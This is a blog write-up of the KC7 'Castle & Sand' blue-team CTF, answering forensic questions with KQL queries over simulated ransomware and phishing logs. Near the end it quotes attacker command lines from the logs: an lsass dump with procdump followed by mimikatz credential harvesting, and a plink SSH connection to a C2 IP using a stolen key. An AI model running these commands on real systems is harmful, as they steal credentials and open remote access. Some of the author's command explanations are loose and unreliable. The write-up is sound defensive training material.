📗 CTF Writeup

KC7 CTF - Castle and Sand Writeup

date
Jul 19, 2023
slug
kc7-castle-and-sand
author
status
Public
tags
KQL
KC7
Security Analysis
CTF
summary
A writeup for KC7 Foundation’s Castle & Sand (Security Analysis) module.
type
Post
thumbnail
KC7 CNS.png
category
📗 CTF Writeup
updatedAt
Mar 17, 2024 05:25 PM
I recently participated in the KC7 Foundation Blue Team Cybersecurity Challenge CTF - Castle & Sand event on 11th June. Throughout this event, I had the opportunity to delve into KQL (Kusto Query Language) and explore its application in using Azure Data Explorer (ADX). The knowledge and hands-on experience I gained in these areas have been invaluable. 💪 It was an incredible experience, and I secured the 32nd position out of 192 talented participants! 🎯
 
But the journey didn't stop there! Inspired by the challenging puzzles, I continued to tackle and solve every single challenge after the competition. And guess what? 🥳 I managed to climb up the leaderboard and eventually secured the 2nd place with my total accumulated score! 🎉
 
I would like to extend my heartfelt gratitude to the organizers of this amazing event, Emily Hacker, Waymon Ho, Greg Schloemer, Simeon Kakpovi and the rest of the KC7 Foundation team for putting together such a thought-provoking and engaging competition. Your efforts in creating a platform for cybersecurity enthusiasts like me to learn, grow, and test our skills are truly commendable. 👏
 
I'd also like to express my gratitude to all the participants who made this event even more competitive and exciting. The friendly competition and camaraderie among the cybersecurity community are truly inspiring.
 
So here’s my full writeup for the module, hope you guys enjoy it!
 
⚠️
NOTE: If the queries don’t pop out, just refresh the page

NOTE:
  • 🦆 for hard challenges
  • Section 3 requires some Section 2 challenges
  • Section 5 requires some Section 4 challenges

Table Name
Description
Employees
Contains information about the company’s employees
Email
Records emails sent and received by employees
InboundNetworkEvents
Records inbound network events including browsing activity from the Internet to devices within the company network
OutboundNetworkEvents
Records outbound network events including browsing activity from within the company network out to the Internet
AuthenticationEvents
Records successful and failed logins to devices on the company network. This includes logins to the company’s mail server.
FileCreationEvents
Records files stored on employee’s devices
ProcessEvents
Records processes created on employee’s devices
PassiveDns (External)
Records IP-domain resolutions
SecurityAlerts
Records security alerts from an employee’s device or the company’s email security system

Section 1: KQL 101 🧰


  1. How many employees are in the company?
    1. Employees | count
  1. Which employee has the IP address: “10.10.2.1”?
    1. Employees | where ip_addr == "10.10.2.1"
  1. How many emails did Jacqueline Henderson receive?
    1. Email | where recipient == "jacqueline_henderson@castleandsand.com" | count
  1. How many distinct senders were seen in the email logs from sunandsandtrading.com?
    1. Email | where sender has "sunandsandtrading.com" | summarize Count=count_distinct(sender) OR Email | where sender has "sunandsandtrading.com" | distinct sender | count
  1. How many unique websites did “Cristin Genao” visit?
    1. Employees | where name == "Cristin Genao" OutboundNetworkEvents | where src_ip == "10.10.0.141" | summarize Count=count_distinct(url) by src_ip
  1. How many distinct domains in the PassiveDns records contain the word “shark”?
    1. PassiveDns | where domain contains "shark" | distinct domain | count
  1. What IPs did the domain “sharkfin.com” resolve to (enter any one of them)?
    1. PassiveDns | search "sharkfin.com"
  1. How many unique URLs were browsed by employees named “Karen”?
    1. OutboundNetworkEvents | where src_ip == "10.10.5.1" or src_ip == "10.10.5.208" or src_ip == "10.10.3.117" | summarize Count=count_distinct(url) OR let karen_ips = Employees | where name has "Karen" | distinct ip_addr; OutboundNetworkEvents | where src_ip in (karen_ips) | distinct url | count

Section 2: Shark Attack! 🦈


  1. Oh no! Castle&Sand has been hit with ransomware!!! They posted a ransom note and locked all of the company's files. View the ransom note here: https://drive.google.com/file/d/1C9E2rSOSu1vYnZdW7VSVtbmix8a62i0C/view?usp=sharing
      • Email: sharknadorules_gang@onionmail.org
      • Unique decryption ID: SUNNYDAY123329JA0
       
  1. The ransom note filename was called PAY_UP_OR_SWIM_WITH_THE_FISHES.txt. How many notes appeared in Castle&Sand's environment?
    1. FileCreationEvents | where filename == "PAY_UP_OR_SWIM_WITH_THE_FISHES.txt" | count
  1. How many distinct hostnames had the ransom note?
    1. FileCreationEvents | where filename == "PAY_UP_OR_SWIM_WITH_THE_FISHES.txt" | distinct hostname | count
  1. Take the list of unique hostnames and search them across the Employees table. How many distinct employee roles were affected by the ransomware attack?
    1. let unique_hostnames = FileCreationEvents | where filename == "PAY_UP_OR_SWIM_WITH_THE_FISHES.txt" | distinct hostname; Employees | where hostname in (unique_hostnames) | distinct role | count
  1. There are some executives hit here, but what we should be worried about are the IT roles first. They typically would have more administrative privileges on the Castle&Sand Network. How many unique hostnames belong to IT employees?
    1. let unique_hostnames = FileCreationEvents | where filename == "PAY_UP_OR_SWIM_WITH_THE_FISHES.txt" | distinct hostname; Employees | where hostname in (unique_hostnames) | where role == "IT Helpdesk" | count
  1. One of the IT employees has their IP address ending in 46. What's their name?
    1. let unique_hostnames = FileCreationEvents | where filename == "PAY_UP_OR_SWIM_WITH_THE_FISHES.txt" | distinct hostname; Employees | where hostname in (unique_hostnames) | where role == "IT Helpdesk" | where ip_addr endswith "46"
      Simeon Kakpovi
  1. Take the unique hostnames there and search them across SecurityAlerts. How many security alerts involved the different hosts?
    1. let unique_hostnames = FileCreationEvents | where filename == "PAY_UP_OR_SWIM_WITH_THE_FISHES.txt" | distinct hostname; SecurityAlerts | where description has_any (unique_hostnames) | count
  1. How about just the unique hostnames belonging to the IT Helpdesk?
    1. let unique_hostnames = FileCreationEvents | where filename == "PAY_UP_OR_SWIM_WITH_THE_FISHES.txt" | distinct hostname; let it_hostnames = Employees | where hostname in (unique_hostnames) | where role == "IT Helpdesk" | distinct hostname; SecurityAlerts | where description has_any (it_hostnames) | count
  1. Let's look for any anomalies in the alerts that look different from the other alerts and might be shark themed like the ransomware. You should find who owns the machine that flagged on that alert?
    1. A suspicious file was quarantined on host 6S7W-MACHINE: Chomping-Schedule_Changes.xlsx
      Employees | where hostname == "6S7W-MACHINE"
      Preston Lane
  1. A file was flagged in that alert. When did the file appear on that user's machine?
    1. FileCreationEvents | where hostname == "6S7W-MACHINE" | where filename == "Chomping-Schedule_Changes.xlsx"
  1. What's the SHA256 hash of that file?
    1. 71daa56c10f7833848a09cf8160ab5d79da2dd2477b6b3791675e6a8d1635016
  1. What application created that file?
    1. (process_name) firefox.exe
  1. Look for other files with that same name. How many unique hosts had that file on their systems?
    1. FileCreationEvents | where filename == "Chomping-Schedule_Changes.xlsx" | distinct hostname | count
  1. Based on your answer from Question 12, it looks like the file may have come from the Internet. Search and figure out which domain it might have come from. How many unique domains did employees download this file from?
    1. let emp_hostnames = FileCreationEvents | where filename == "Chomping-Schedule_Changes.xlsx" | distinct hostname; let emp_ip = Employees | where hostname in (emp_hostnames) | distinct ip_addr; OutboundNetworkEvents | where src_ip in (emp_ip) | distinct url | where url has "xlsx" | count
      jawfin.com & sharkfin.com
  1. Based on the employee we've been tracking from Question 9, which domain did they download the file from?
    1. let preston_lane_ip = Employees | where hostname == "6S7W-MACHINE" | distinct ip_addr; OutboundNetworkEvents | where src_ip in (preston_lane_ip) | distinct url | where url has "xlsx"
      jawfin.com
  1. Check which IPs the domain may have used before. Use the PassiveDns table. How many unique IP addresses did the domain resolve to?
    1. PassiveDns | where domain == "jawfin.com" | distinct ip | count
      134.136.25.2 17.72.123.89 165.185.77.18 213.30.8.133 19.216.253.112 193.248.75.126
  1. 🦆 Which IP address is closest to when the employee had the file created on their host machine?
    1. FileCreationEvents | where filename == "Chomping-Schedule_Changes.xlsx" | distinct timestamp
      Timestamp ranges from 2023-05-25 16:43:20 to 2023-05-27 11:49:51
      PassiveDns | where domain == "jawfin.com" | where timestamp between (datetime(2023-05-25,16:43:20) .. datetime(2023-05-27,16:43:20)) OR PassiveDns | where domain == "jawfin.com" | where tostring(timestamp) contains ("2023-05-2")
      193.248.75.126
      More reference:
  1. There was another domain found from Q14. How many unique IPs did that domain resolve to?
    1. PassiveDns | where domain == "sharkfin.com" | distinct ip | count
      180.5.6.199 157.242.169.232 188.203.116.15 200.106.38.88
  1. Take all of the IP addresses from the 2 domains and search them against network events on Castle&Sand's website. How many records returned from your query?
    1. let ip_list = PassiveDns | where (domain == "sharkfin.com") or (domain == "jawfin.com") | distinct ip; InboundNetworkEvents | where src_ip in (ip_list) | where url has "castleandsand" | count
  1. When was the first time we saw any of these actor IP addresses from Q19 against Castle&Sand's network?
    1. 2023-05-20T03:11:57Z
  1. Search the actor IPs against AuthenticationEvents to see if they logged into any user machines or email accounts. How many records did you get back?
    1. let ip_list = PassiveDns | where (domain == "sharkfin.com") or (domain == "jawfin.com") | distinct ip; AuthenticationEvents | where src_ip in (ip_list)
  1. Look for the malicious domains in Emails. How many records did you get back?
    1. Email | where (link contains "sharkfin.com") or (link contains "jawfin.com") | count
  1. When was the earliest email sent?
    1. Timestamp: 2023-05-25T16:33:09Z Sender: legal.sand@verizon.com
  1. How many emails total did that sender send to Castle&Sand employees?
    1. Email | where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com") | count
  1. Take all of the distinct sender or reply_to emails from Q24. How many emails total are associated with these email addresses?
    1. let email_list = Email | where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com") | distinct reply_to; Email | where (reply_to has_any (email_list)) or (recipient has_any (email_list)) | count
  1. 🦆 How many unique domains did the email addresses use in their emails?
    1. let email_list = Email | where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com") | distinct reply_to; Email | where (reply_to has_any (email_list)) or (recipient has_any (email_list)) | extend Result = tostring(parse_url(link).Host) // Getting the Host section only | distinct Result
      byte-apex.com byte-fin.com byte-jaw.com jawshark.com jawfin.com sharkfin.com
  1. How many distinct IP addresses total were used by all of the domains identified in Q25?
    1. let email_list = Email | where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com") | distinct reply_to; let domains = Email | where (reply_to has_any (email_list)) or (recipient has_any (email_list)) | extend Result = tostring(parse_url(link).Host) // Getting the Host section only | distinct Result; PassiveDns | where domain in (domains) | distinct ip | count
  1. How many user accounts did these IPs log into?
    1. let email_list = Email | where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com") | distinct reply_to; let domains = Email | where (reply_to has_any (email_list)) or (recipient has_any (email_list)) | extend Result = tostring(parse_url(link).Host) // Getting the Host section only | distinct Result; let ips = PassiveDns | where domain in (domains) | distinct ip; AuthenticationEvents | where src_ip in (ips) | count
  1. 🦆 Looking at these emails (from Q28), how many unique filenames were served by these domains?
    1. let email_list = Email | where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com") | distinct reply_to; Email | where (reply_to has_any (email_list)) or (recipient has_any (email_list)) | extend Path = tostring(parse_url(link).Path) // Getting the Path section only | extend Filename = tostring(parse_path(Path).Filename) | distinct Filename | count
      Jawdropping-Employee.lnk
      HR_Sharktastic_Notes.pdf
      Fintastic-Work-Updates.docx
      Sharktastic_Employee_Changes.xlsx
      Chomping-Schedule_Changes.xlsx
  1. How many files with these names were created on employee host machines?
    1. let email_list = Email | where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com") | distinct reply_to; let filename_list = Email | where (reply_to has_any (email_list)) or (recipient has_any (email_list)) | extend Path = tostring(parse_url(link).Path) // Getting the Path section only | extend Filename = tostring(parse_path(Path).Filename) | distinct Filename; FileCreationEvents | where filename in (filename_list) | count
  1. When was the first file observed?
    1. 2023-05-25T16:43:20Z
  1. Take the hosts from here and search for them in ProcessEvents. How many records total are associated with the identified host machines from Q30?
    1. let email_list = Email | where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com") | distinct reply_to; let filename_list = Email | where (reply_to has_any (email_list)) or (recipient has_any (email_list)) | extend Path = tostring(parse_url(link).Path) // Getting the Path section only | extend Filename = tostring(parse_path(Path).Filename) | distinct Filename; let hostname_list = FileCreationEvents | where filename in (filename_list) | distinct hostname; ProcessEvents | where hostname in (hostname_list) | count
  1. 🦆 Using your query from Q32, set a new query where the timestamp is greater than the first time you saw the file in Q31. How many records total do you have now?
    1. let email_list = Email | where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com") | distinct reply_to; let filename_list = Email | where (reply_to has_any (email_list)) or (recipient has_any (email_list)) | extend Path = tostring(parse_url(link).Path) // Getting the Path section only | extend Filename = tostring(parse_path(Path).Filename) | distinct Filename; let hostname_list = FileCreationEvents | where filename in (filename_list) | distinct hostname; ProcessEvents | where hostname in (hostname_list) | where timestamp > datetime(2023-05-25T16:43:20Z) | count
  1. Let's look at the first few records. There's some suspicious powershell activity that occurs near the beginning. What IP address is referenced in that command?
    1. let email_list = Email | where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com") | distinct reply_to; let filename_list = Email | where (reply_to has_any (email_list)) or (recipient has_any (email_list)) | extend Path = tostring(parse_url(link).Path) // Getting the Path section only | extend Filename = tostring(parse_path(Path).Filename) | distinct Filename; let hostname_list = FileCreationEvents | where filename in (filename_list) | distinct hostname; ProcessEvents | where hostname in (hostname_list) | where timestamp > datetime(2023-05-25T16:43:20Z) | where process_name == "powershell.exe"
      220.35.180.137
  1. Which host machine did the powershell activity execute on?
    1. CL8Q-LAPTOP
  1. There's a weird repeating command right before this activity. What's the parent process of the first time this repeated activity occurs?
    1. scvhost.exe
  1. What legitimate Windows process was this file trying to masquerade as?
    1. svchost.exe (Based on knowledge → Typosquatting)
  1. After the powershell activity there's evidence that a popular password cracking tool may have executed on a host machine. Take that file and search for how many times that tool may have ran on the Castle&Sand environment. How many hosts had their passwords dumped?
    1. let email_list = Email | where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com") | distinct reply_to; let filename_list = Email | where (reply_to has_any (email_list)) or (recipient has_any (email_list)) | extend Path = tostring(parse_url(link).Path) // Getting the Path section only | extend Filename = tostring(parse_path(Path).Filename) | distinct Filename; let hostname_list = FileCreationEvents | where filename in (filename_list) | distinct hostname; ProcessEvents | where hostname in (hostname_list) | where timestamp > datetime(2023-05-25T16:43:20Z) | where process_commandline contains "mimikatz.exe" | count
  1. Based on Q34, how many hosts did that powershell command execute on?
    1. let email_list = Email | where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com") | distinct reply_to; let filename_list = Email | where (reply_to has_any (email_list)) or (recipient has_any (email_list)) | extend Path = tostring(parse_url(link).Path) // Getting the Path section only | extend Filename = tostring(parse_path(Path).Filename) | distinct Filename; let hostname_list = FileCreationEvents | where filename in (filename_list) | distinct hostname; ProcessEvents | where hostname in (hostname_list) | where timestamp > datetime(2023-05-25T16:43:20Z) | where process_name == "powershell.exe" | where process_commandline contains "powershell.exe -nop -w hidden -c" | count
  1. 🦆 How many unique IP addresses were used in these commands?
    1. let email_list = Email | where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com") | distinct reply_to; let filename_list = Email | where (reply_to has_any (email_list)) or (recipient has_any (email_list)) | extend Path = tostring(parse_url(link).Path) // Getting the Path section only | extend Filename = tostring(parse_path(Path).Filename) | distinct Filename; let hostname_list = FileCreationEvents | where filename in (filename_list) | distinct hostname; ProcessEvents | where hostname in (hostname_list) | where timestamp > datetime(2023-05-25T16:43:20Z) | where process_name == "powershell.exe" | where process_commandline contains "powershell.exe -nop -w hidden -c" | distinct process_commandline | count
  1. 🦆 Which of these IP addresses was seen the most?
    1. let email_list = Email | where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com") | distinct reply_to; let filename_list = Email | where (reply_to has_any (email_list)) or (recipient has_any (email_list)) | extend Path = tostring(parse_url(link).Path) // Getting the Path section only | extend Filename = tostring(parse_path(Path).Filename) | distinct Filename; let hostname_list = FileCreationEvents | where filename in (filename_list) | distinct hostname; ProcessEvents | where hostname in (hostname_list) | where timestamp > datetime(2023-05-25T16:43:20Z) | where process_name == "powershell.exe" | where process_commandline contains "powershell.exe -nop -w hidden -c" | extend ipAddress = extract(@"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", 0, process_commandline) // 2nd argument - The capture group to extract. // 0 = Entire match // 1 = Value matched by the first () in the regex // >2 = Subsequent () | summarize Count = count() by ipAddress | order by Count desc
      157.242.169.232
  1. Take the parent processes from Q39. How many records total involved those processes?
    1. let email_list = Email | where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com") | distinct reply_to; let filename_list = Email | where (reply_to has_any (email_list)) or (recipient has_any (email_list)) | extend Path = tostring(parse_url(link).Path) // Getting the Path section only | extend Filename = tostring(parse_path(Path).Filename) | distinct Filename; let hostname_list = FileCreationEvents | where filename in (filename_list) | distinct hostname; let parent_process_list = ProcessEvents | where hostname in (hostname_list) | where timestamp > datetime(2023-05-25T16:43:20Z) | where process_name == "powershell.exe" | where process_commandline contains "powershell.exe -nop -w hidden -c" | distinct parent_process_name; ProcessEvents | where parent_process_name in (parent_process_list) | count
  1. See if any of these files are referenced in the command line. How many records did you find?
    1. let email_list = Email | where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com") | distinct reply_to; let filename_list = Email | where (reply_to has_any (email_list)) or (recipient has_any (email_list)) | extend Path = tostring(parse_url(link).Path) // Getting the Path section only | extend Filename = tostring(parse_path(Path).Filename) | distinct Filename; let hostname_list = FileCreationEvents | where filename in (filename_list) | distinct hostname; let parent_process_list = ProcessEvents | where hostname in (hostname_list) | where timestamp > datetime(2023-05-25T16:43:20Z) | where process_name == "powershell.exe" | where process_commandline contains "powershell.exe -nop -w hidden -c" | distinct parent_process_name; ProcessEvents | where process_commandline has_any (parent_process_list) | count
  1. When was the earliest time found in Q43?
    1. 2023-06-09T19:43:58Z
  1. You remember that the encrypted files all had the extension .sharkfin. Search for that in created files. When was the earliest time you saw these files?
    1. FileCreationEvents | where filename endswith ".sharkfin"
      2023-06-09T19:43:48Z

Section 3: Hunting the Shark 🔍


  1. Oh no! The ransomware gang sent the Castle&Sand CEO a voicemail. Listen to it. How many hours does Castle&Sand have before the gang releases the information? Link to voicemail: https://twitter.com/webyteyourdata/status/1665825830495219713
    1. 72
  1. What do the ransomware gang call themselves?
    1. Shark boys ; shark boyz ; shark bois ; Shark Boyz ; sharkboyz ; sharkbois
  1. What MITRE Technique is aligned with what this group did on Castle&Sand systems?
    1. T1486 (Data Encrypted for Impact)
  1. Search for the email domain used in the ransom note. What is the ZIP code of their headquarters?
    1. https://onionmail.org/privacy
  1. What country is this email service located in?
    1. USA
  1. Look at the IP addresses from Section 2, Q16 using MaxMind GeoIP2. How many continents total are these IP addresses from? https://www.maxmind.com/en/geoip-demo
    1. 3
  1. Use search.censys.io to look up the IP address found in Section 2, Q17. What is the Autonomous System (AS) number for the IP address?
    1. AS3215
  1. Look at the IPs from Section 2, Q18. Which one is assigned to a University?
    1. 157.242.169.232 (Loyola Marymount University)
  1. 🦆 Look at the emails from Section 2, Q25. Which email address is associated with a company outside of the United States?
    1. Email | where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com") | distinct reply_to | extend reply_to = split(reply_to, "@")[1]; PassiveDns | where domain in ("verizon.com", "hotmail.com", "yandex.com", "castleandsand.com") | distinct ip
      Since there is no results, meaning castleandsand’s location cannot be found (No mapped IP) However, yandex is a Russian company (& the only email in the email list)
      urgent_urgent@yandex.com
  1. For the tool found in Section 2, Q38, what is the MITRE ID for that specific software?
    1. S0002 (Mimikatz)
  1. For the tool found in Section 2, Q38, what is the MITRE ID for that type of technique that this tool is typically used for?
    1. T1003 (OS Credential Dumping)
  1. ❌ Take the filenames from Section 2, Q42. How many unique SHA256 hashes are found in Castle&Sand's environment with these filenames?
    1. let email_list = Email | where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com") | distinct reply_to; let filename_list = Email | where (reply_to has_any (email_list)) or (recipient has_any (email_list)) | extend Path = tostring(parse_url(link).Path) // Getting the Path section only | extend Filename = tostring(parse_path(Path).Filename) | distinct Filename; let hostname_list = FileCreationEvents | where filename in (filename_list) | distinct hostname; let parent_process_list = ProcessEvents | where hostname in (hostname_list) | where timestamp > datetime(2023-05-25T16:43:20Z) | where process_name == "powershell.exe" | where process_commandline contains "powershell.exe -nop -w hidden -c" | distinct parent_process_name; ProcessEvents | where parent_process_name in (parent_process_list) | distinct parent_process_hash | count
      9
  1. How many were flagged as malicious on VirusTotal?
    1. 21ff279ba30d227e32e63cb388bf8c2d21c4fd7e935b3087088579b29e56d81d (Malicious)
    2. af99dea461d36b775235a107c7ea94a2b457851ef62d0ed6f0c50fb5131c8c8b (Malicious)
    3. aa48acaef62a7bfb3192f8a7d6e5229764618ac1ad1bd1b5f6d19a78864eb31f (Malicious)
    4. 4874d336c5c7c2f558cfd5954655cacfc85bcfcb512a45fb0ff461ce9c38b86d (Not Malicious)
    5. 7ef2cc079afe7927b78be493f0b8a735a3258bc82801a11bc7b420a72708c250 (Malicious)
    6. b99d114b267ffd068c3289199b6df95a9f9e64872d6c2b666d63974bbce75bf2 (Malicious)
    7. d18aa84b7bf0efde9c6b5db2a38ab1ec9484c59c5284c0bd080f5197bf9388b0 (Malicious)
    8. 82a7241d747864a8cf621f226f1446a434d2f98435a93497eafb48b35c12c180 (Malicious)
    9. f77077777b0cd9edd693b87cbaaaefe73436395192a2b77a841b2d5bd9b088e8 (Malicious)
    10. 8
  1. Which file hash was reported by the security community as the ransomware's encrypted payload?
    1. 82a7241d747864a8cf621f226f1446a434d2f98435a93497eafb48b35c12c180
  1. For Section 2, Q43, what ransomware family uses a command similar to this process execution?
    1. Bablock ; Rorschach ; Storm-1219 (Can be seen from S3Q13 Community section or Family labels section, Bablock is always mentioned)
      notion image

Section 4: Sand in my 👁️👁️ (New Threat Actor)


  1. Castle&Sand may have been targeted by a recent phishing campaign. The threat actors used an email with Castle&Sand's name in it: castleandsand_official@outlook.com. How many emails were sent from this email to Castle&Sand employees?
    1. Email | where sender startswith "castleandsand_official@outlook.com" | count
  1. There appears to be another email account. How many emails total are referenced by these two email accounts?
    1. Email | where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com" | count
  1. How many unique domains were used by these email accounts?
    1. Email | where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com" | extend Result = tostring(parse_url(link).Host) // Getting the Host section only | distinct Result | count
  1. Based on these domains, what type of attack did this threat actor conduct?
    1. Watering-hole attack
  1. How many distinct job roles were targeted by this type of attack?
    1. let watering_hole_domain = Email | where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com" | distinct recipient; Employees | where email_addr in (watering_hole_domain) | distinct role | count
  1. 🦆 Take the targeted employees and look for all external IP addresses that authenticated to those users. How many external IP addresses were used to successfully log into those user accounts?
    1. let watering_hole_domain = Email | where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com" | distinct recipient; let emp_ip_list = Employees | distinct ip_addr; let targeted_users = Employees | where email_addr in (watering_hole_domain) | distinct username; AuthenticationEvents | where not(src_ip in (emp_ip_list)) and result == "Successful Login" and username in (targeted_users) and description !has "incorrect" | distinct src_ip | count
      💡
      VERY IMPORTANT: Use username instead of hostname, the answer differs! This is so maybe because they first log into accounts and then can spread to more machines using additional IP addresses later.
  1. 🦆 These IP addresses may have accessed email inboxes and downloaded data. How many unique filenames were downloaded by these IP addresses?
    1. let watering_hole_domain = Email | where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com" | distinct recipient; let emp_ip_list = Employees | distinct ip_addr; let targeted_users = Employees | where email_addr in (watering_hole_domain) | distinct username; let external_ip = AuthenticationEvents | where not(src_ip in (emp_ip_list)) and result == "Successful Login" and username in (targeted_users) and description !has "incorrect" | distinct src_ip; InboundNetworkEvents | where src_ip in (external_ip) | where url has "download=true&" | extend Filename = tostring(parse_url(url).['Query Parameters']['output']) | distinct Filename | count
      💡
      InboundNetworkEvents’s url column has mail related queries :’D
  1. How many distinct IPs were involved in the stealing of downloaded data from the previous questions?
    1. let watering_hole_domain = Email | where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com" | distinct recipient; let emp_ip_list = Employees | distinct ip_addr; let targeted_users = Employees | where email_addr in (watering_hole_domain) | distinct username; let external_ip = AuthenticationEvents | where not(src_ip in (emp_ip_list)) and result == "Successful Login" and username in (targeted_users) and description !has "incorrect" | distinct src_ip; InboundNetworkEvents | where src_ip in (external_ip) | where url has "download=true&" | extend Filename = tostring(parse_url(url).['Query Parameters']['output']) | distinct src_ip | count
      156.155.83.236 215.168.239.75 223.9.222.59 43.185.57.65 195.242.92.76 124.138.210.88 192.91.130.34 190.198.227.17 215.239.162.10
  1. Based on the IPs from Q6, how many unique domains did they resolve to?
    1. let watering_hole_domain = Email | where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com" | distinct recipient; let emp_ip_list = Employees | distinct ip_addr; let targeted_users = Employees | where email_addr in (watering_hole_domain) | distinct username; let username_list = AuthenticationEvents | where not(src_ip in (emp_ip_list)) and result == "Successful Login" and username in (targeted_users) | distinct src_ip; PassiveDns | where ip in (username_list) | distinct domain | count
  1. Go back to the user accounts that may have been affected by the phishing campaign. How many hosts have they logged into?
    1. let watering_hole_recipient = Email | where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com" | distinct recipient; let watering_hole_username = Employees | where email_addr in (watering_hole_recipient) | distinct username; AuthenticationEvents | where username in (watering_hole_username) | where result == "Successful Login" | distinct hostname | count
  1. Investigate the domains from Q9. How many files are present on Castle&Sand systems that originated from these domains?
    1. let watering_hole_domain = Email | where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com" | distinct recipient; let emp_ip_list = Employees | distinct ip_addr; let targeted_users = Employees | where email_addr in (watering_hole_domain) | distinct username; let external_ip_list = AuthenticationEvents | where not(src_ip in (emp_ip_list)) and result == "Successful Login" and username in (targeted_users) | distinct src_ip; let domain_list = PassiveDns | where ip in (external_ip_list) | distinct domain; let filenames = OutboundNetworkEvents | where tostring(parse_url(url).Host) in (domain_list) | distinct url | extend Path = tostring(parse_url(url).Path) | extend Filename = tostring(parse_path(Path).Filename) | distinct Filename; FileCreationEvents | where filename in (filenames) | count
      Distinct filenames:
      Work-Updates.docx
      HR_Notes.pdf
      employee.lnk
      Employee_Changes.xlsx
      store_updates.xlsx
  1. 🦆 Investigate what happens after these files are downloaded and find malicious activity. How many unique malware filenames are created from these files?
    1. let victim_hostname = FileCreationEvents | where filename in ("Work-Updates.docx", "HR_Notes.pdf", "employee.lnk", "Employee_Changes.xlsx", "store_updates.xlsx") | distinct hostname; FileCreationEvents | where hostname in (victim_hostname)
      A pattern is found where after installation of the files mentioned, there will be another instance of the same hostname, but with a different/suspicious filename
      let victim_hostname = FileCreationEvents | where filename in ("Work-Updates.docx", "HR_Notes.pdf", "employee.lnk", "Employee_Changes.xlsx", "store_updates.xlsx") | distinct hostname; FileCreationEvents | where hostname in (victim_hostname) | serialize // Marks the input row set as serialized (ordered), so that window functions can be applied to it | extend next_timestamp_filename = next(filename) // Finding the next filename on the next timestamp | where filename in ("Work-Updates.docx", "HR_Notes.pdf", "employee.lnk", "Employee_Changes.xlsx", "store_updates.xlsx") | where next_timestamp_filename !in ("Work-Updates.docx", "HR_Notes.pdf", "employee.lnk", "Employee_Changes.xlsx", "store_updates.xlsx") // If the next file is one of the originals, ignore | distinct next_timestamp_filename | count
      Malware filenames:
      TSVIPSrv.dll
      1.exe
      i.exe
      wmi.dll
      procdump64.exe (Only this file is not malicious in VirusTotal)
  1. How many of these files total are present on Castle&Sand systems?
    1. FileCreationEvents | where filename in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe") | count
  1. How many distinct C2 servers are associated with the malware?
    1. ProcessEvents // All related processes | where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe") | where process_commandline has "plink.exe" | distinct process_commandline | count
      C2 servers are IPs in this case
      195.242.92.76
      190.198.227.17
      43.185.57.65
      198.161.105.253
      223.119.134.94
      215.168.239.75
  1. 🦆 Find out what this threat actor did at the very end. When is the first time you see this final action by the threat actor? Copy & paste the full timestamp.
    1. ProcessEvents | where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe")
      Output:
    2. procdump64.exe -accepteula -ma lsass.exe lsass.dmp C:\mi.exe \"privilege::debug\" \"sekurlsa::logonpasswords full\" exit >> C:\log.txt mimikatz's sekurlsa::logonpasswords
        • procdump64.exe - CLI utility that creates memory dumps of processes
        • accepteula - Flag to accept the End-User License Agreement (EULA) for Procdump without prompting
        • ma - Option to create a full dump of a process
          • lsass.exe - Process name for the Local Security Authority Subsystem Service
        • lsass.dmp - Name of the dump file that will be created
        • C:\\mi.exe - Name of an executable file that is run after the dump is created
          • "privilege::debug" and "sekurlsa::logonpasswords full" are commands/parameters passed to the debugger
        • exit - Exit the debugger
        • mimikatz's sekurlsa::logonpasswords is likely a comment or note about the purpose of the command
    3. plink.exe -i C:\Users\admin\.ssh\id_rsa 215.168.239.75 -q
        • Trying to initiate a SSH connection for C2 server
        • plink.exe - CLI SSH client
        • -i C:\Users\admin\.ssh\id_rsa - Path to the private key file used for authentication
        • -q - Quiet mode, suppressing output
    4. cmd.exe /c a.bat > C:\wmi.dll 2>&1
        • /c - Option to execute the specified command and then terminate
          • a.bat - Batch file or script to be executed
        • 2>&1 - Redirects the standard error to the same location as the standard output (wmi.dll)
         
      Getting the last affected user with the last timestamp and looking through the commands:
      ProcessEvents | where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe") | where username == "jojones" and hostname == "NYEL-DESKTOP" ProcessEvents | where username == "jojones" and hostname == "NYEL-DESKTOP" and timestamp > datetime(2023-05-17T09:20:15Z)
      Attacker was doing recon:
      • cmd.exe whoami
      • cmd.exe ipconfig /all
      • cmd.exe net localgroup administrators /domain
      • cmd.exe nltest /dc:list (List the domain controllers available in the current domain)
       
